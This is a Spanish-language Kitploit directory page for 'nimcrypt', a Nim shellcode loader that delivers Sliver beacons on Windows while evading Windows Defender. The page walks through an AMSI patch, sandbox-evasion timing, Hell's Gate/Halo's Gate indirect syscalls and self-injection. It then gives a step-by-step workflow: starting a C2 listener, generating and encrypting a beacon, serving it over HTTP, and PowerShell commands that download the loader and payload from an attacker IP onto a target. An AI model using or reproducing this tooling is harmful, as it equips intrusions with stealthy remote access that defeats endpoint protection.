Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nimcrypt — Herramienta de cifrado basada en Nim para ofuscar shellcode y payloads con el fin de evadir Windows Defender. | Kitploit
Herramientas/GitHubGitHub/chaelsoo/nimcrypt
Herramientas de Cifrado/DescifradoExplotaciónEvasión de IDS/IPSShellcodePruebas de PenetraciónComando y ControlRed TeamingDesarrollo de PayloadsAnti-Bot
GitHubchaelsoo/nimcrypt

nimcrypt

Herramienta de cifrado basada en Nim para ofuscar shellcode y payloads con el fin de evadir Windows Defender.

2121hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

nimcrypt

Un cargador de shellcode de Sliver escrito en Nim dirigido a Windows x64. Dos variantes que cubren las dos situaciones de entrega más comunes. Probado contra Windows Defender con protección en tiempo real habilitada.

Variantes

stager

Lee un blob de shellcode cifrado del disco, lo descifra en memoria y se autoinyecta. Úsalo cuando ya tengas una primitiva de caída de archivo y quieras un binario pequeño y simple.

root@kitploit:~
loader.exe <shellcode.bin> [key_hex iv_hex]

La clave y el IV son opcionales. Si se omiten, el archivo se trata como shellcode sin cifrar.

stageless

Descarga el blob cifrado desde tu C2 a través de HTTP usando la pila WinHTTP de Windows, lo descifra en memoria y se autoinyecta. Ningún archivo toca el disco. Úsalo cuando puedas ejecutar un binario en el objetivo pero no puedas dejar caer un segundo archivo de manera confiable.

Edita las constantes en la parte superior de stageless/loader.nim antes de compilar:

root@kitploit:~
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 hex chars from encrypt.py
scIV   = "..."   # 32 hex chars from encrypt.py

Técnicas

Evasión de sandbox

El cargador stageless llama a Sleep(5000) al inicio y mide el tiempo transcurrido real con GetTickCount64. Si pasaron menos de 4500ms, el proceso sale. La mayoría de los entornos de sandbox automatizados adelantan o saltan los sleeps, causando que la verificación falle. Esto se ejecuta antes de cualquier actividad de red o ejecución de shellcode, por lo que los sandboxes que inspeccionan el comportamiento de red no ven nada.

Bypass de AMSI

amsi.nim parchea AmsiScanBuffer en tiempo de ejecución usando dos capas de ofuscación:

Ocultación de cadenas mediante hashing FNV-1a. La cadena AmsiScanBuffer nunca aparece en el binario. En su lugar, su hash FNV-1a se calcula en tiempo de compilación y se almacena como una constante. En tiempo de ejecución, el cargador recorre la tabla de exportaciones de amsi.dll, aplica hash a cada nombre de exportación y lo compara con el valor almacenado para encontrar la dirección de la función sin tener nunca la cadena en memoria.

Ofuscación XOR en tiempo de compilación. Tanto el nombre de la DLL (amsi.dll) como los bytes del parche (xor eax, eax; ret = 31 C0 C3) se codifican con XOR en tiempo de compilación usando una clave aleatoria generada de nuevo en cada compilación mediante un subproceso de Python. La clave se incrusta como una constante y los bytes se decodifican en tiempo de ejecución justo antes de su uso. Los bytes sin procesar cambian en cada compilación, rompiendo las firmas estáticas en la secuencia del parche.

El parche sobrescribe los primeros tres bytes de AmsiScanBuffer con xor eax, eax; ret, haciendo que cada llamada devuelva AMSI_RESULT_CLEAN independientemente de la entrada.

Cifrado de payload

encrypt.py cifra shellcode sin procesar con AES-256-CBC usando una clave de 32 bytes generada aleatoriamente y un IV de 16 bytes. El cargador descifra en su lugar usando la API BCrypt de Windows, por lo que no se necesita ninguna biblioteca criptográfica de terceros en el objetivo.

Transición de memoria RW a RX

La memoria se asigna como PAGE_READWRITE, se escribe el shellcode en ella, y luego la región se cambia a PAGE_EXECUTE_READ antes de la ejecución. Asignar directamente como PAGE_EXECUTE_READWRITE es una firma bien conocida que Defender y los EDR marcan explícitamente. Separar las fases de escritura y ejecución evita ese patrón.

Llamadas al sistema indirectas (Hell's Gate + Halo's Gate)

stageless/syscalls.nim evita tanto la capa de la API Win32 (kernel32.dll) como cualquier hook de espacio de usuario en ntdll.dll colocado por los EDR.

Resolución de SSN. Al inicio, el cargador obtiene la dirección base de ntdll y analiza su tabla de exportaciones PE, recopilando cada exportación Nt* ordenada por RVA. Para cada función NT que necesitamos, verifica los primeros cuatro bytes:

  • 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) significa que el stub está limpio y el SSN se lee directamente de los bytes 4-5. Esto es Hell's Gate.
  • Cualquier otra cosa significa que el prólogo de la función ha sido parcheado por un hook de EDR. En ese caso, el cargador recorre los vecinos en la lista ordenada hasta encontrar un stub limpio, luego calcula el SSN objetivo como neighbor_SSN +/- distance. Los SSN se incrementan en uno por stub en orden de dirección. Esto es Halo's Gate.

Ubicación del gadget. El cargador escanea el primer stub Nt* limpio que encuentra en busca de la secuencia de bytes 0F 05 C3 (syscall; ret). Esto da una dirección dentro de la sección .text respaldada por imagen de ntdll que podemos reutilizar.

Generación de stub. Para cada función requerida, se escribe un stub de 22 bytes en una sola página RW que se cambia a RX antes de su uso:

root@kitploit:~
4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  gadget address

El jmp [rip+0] desreferencia los 8 bytes inmediatamente siguientes (la dirección del gadget) y redirige la ejecución a la secuencia existente syscall; ret de ntdll. La instrucción syscall se dispara desde .text de ntdll en lugar de desde nuestra asignación anónima, derrotando cualquier seguimiento a nivel de kernel de qué región de memoria emitió la syscall.

Las cuatro funciones cubiertas por las llamadas al sistema indirectas son NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx y NtWaitForSingleObject.

Autoinyección

Después del descifrado, el cargador stageless asigna una región RW en su propio proceso mediante NtAllocateVirtualMemory, copia el shellcode con copyMem, cambia la región a RX mediante NtProtectVirtualMemory y genera un hilo mediante NtCreateThreadEx. El hilo principal luego se bloquea indefinidamente en NtWaitForSingleObject, manteniendo el proceso vivo mientras se ejecutan las gorutinas del beacon. Las cuatro llamadas pasan por los stubs de llamadas al sistema indirectas descritos anteriormente.

La autoinyección mantiene la superficie de llamadas mínima. No hay llamadas a la API entre procesos (WriteProcessMemory, CreateRemoteThread, etc.), que son los principales vectores de detección para la inyección remota clásica.

Flujo de ejecución (stageless)

  1. Verificación de tiempo: sleep 5s, salir si transcurrido < 4.5s
  2. Parche AMSI: resolver AmsiScanBuffer mediante FNV-1a, sobrescribir con xor eax, eax; ret
  3. Resolver stubs de syscall indirectas: analizar exportaciones de ntdll, encontrar SSNs (Hell's Gate + Halo's Gate), localizar gadget syscall; ret, escribir stubs
  4. Descargar: solicitud GET de WinHTTP, leer cuerpo de la respuesta
  5. Descifrar: AES-256-CBC mediante BCrypt en su lugar
  6. Asignar: NtAllocateVirtualMemory en el propio proceso (RW) mediante syscall indirecta
  7. Copiar shellcode en la asignación
  8. Proteger: NtProtectVirtualMemory a PAGE_EXECUTE_READ mediante syscall indirecta
  9. Ejecutar: NtCreateThreadEx mediante syscall indirecta
  10. Esperar: NtWaitForSingleObject en el manejador del hilo mediante syscall indirecta

Flujo de ejecución (stager)

  1. Parche AMSI
  2. Leer archivo de shellcode del disco
  3. Descifrar si se proporcionaron clave e IV
  4. VirtualAlloc (RW), copiar shellcode, VirtualProtect a RX
  5. Ejecutar mediante conversión de puntero a función

Requisitos

En tu máquina de compilación Linux:

  • Nim + nimble (nimble install winim)
  • mingw-w64 (x86_64-w64-mingw32-gcc)
  • Python 3 + pycryptodome (pip install pycryptodome)

Flujo de trabajo completo

1. Iniciar un listener de Sliver

root@kitploit:~
[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. Generar shellcode de beacon

root@kitploit:~
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. Cifrar

root@kitploit:~
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. Establecer constantes y compilar

Edita stageless/loader.nim y establece c2Host, c2Port, c2Path, scKey, scIV, luego desde la raíz del proyecto:

root@kitploit:~
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

Compila siempre desde la raíz del proyecto para que solo se cargue el nim.cfg raíz. La salida es un PE de Windows x64 enlazado estáticamente sin dependencias de DLL externas más allá de las bibliotecas estándar del sistema.

5. Servir o transferir

Stageless: sirve el blob cifrado a través de HTTP en el puerto que coincida con c2Port:

root@kitploit:~
cd bins && python3 -m http.server 443

Stager: transfiere ambos archivos al objetivo:

root@kitploit:~
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. Ejecutar

Stageless:

root@kitploit:~
loader.exe

Stager con cifrado:

root@kitploit:~
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager sin cifrado:

root@kitploit:~
loader.exe shellcode.bin

Entrega mediante PowerShell

Si se entrega mediante un cradle de descarga de PowerShell, AMSI escaneará el script antes de que se ejecute el cargador. Parchea AMSI en tu sesión de PS primero:

root@kitploit:~
python3 gen_amsi.py

Pega la salida en la sesión de PS antes de descargar o ejecutar cualquier cosa. El script resuelve AmsiScanBuffer mediante el hash de la tabla de exportaciones, por lo que la cadena nunca aparece en texto plano, y todos los bytes del parche están codificados con XOR con una clave aleatoria por ejecución.

Notas

  • Requiere Windows 10 / Server 2016+ (CRT universal)
  • BCryptSetProperty para el modo de encadenamiento devuelve STATUS_INVALID_PARAMETER pero BCrypt por defecto usa CBC de todas formas, el descifrado funciona correctamente
  • Las llamadas al sistema indirectas cubren solo las cuatro funciones NT críticas para la inyección. Las llamadas a Winsock y BCrypt aún pasan por sus rutas normales de API, lo cual es aceptable ya que esas llamadas son benignas desde el punto de vista del comportamiento de forma aislada
  • La instrucción syscall en los stubs se dispara desde dentro de la sección .text de ntdll (respaldada por imagen, firmada por Microsoft), no desde la página del stub, derrotando el seguimiento del origen de la syscall a nivel de kernel

Referencias

  • https://github.com/gatariee/ldrgen
  • https://github.com/D3Ext/Hooka

Puedes encontrar más detalles sobre Mecanismos de Defender, Técnicas y otras herramientas en mi blog

Descargar herramienta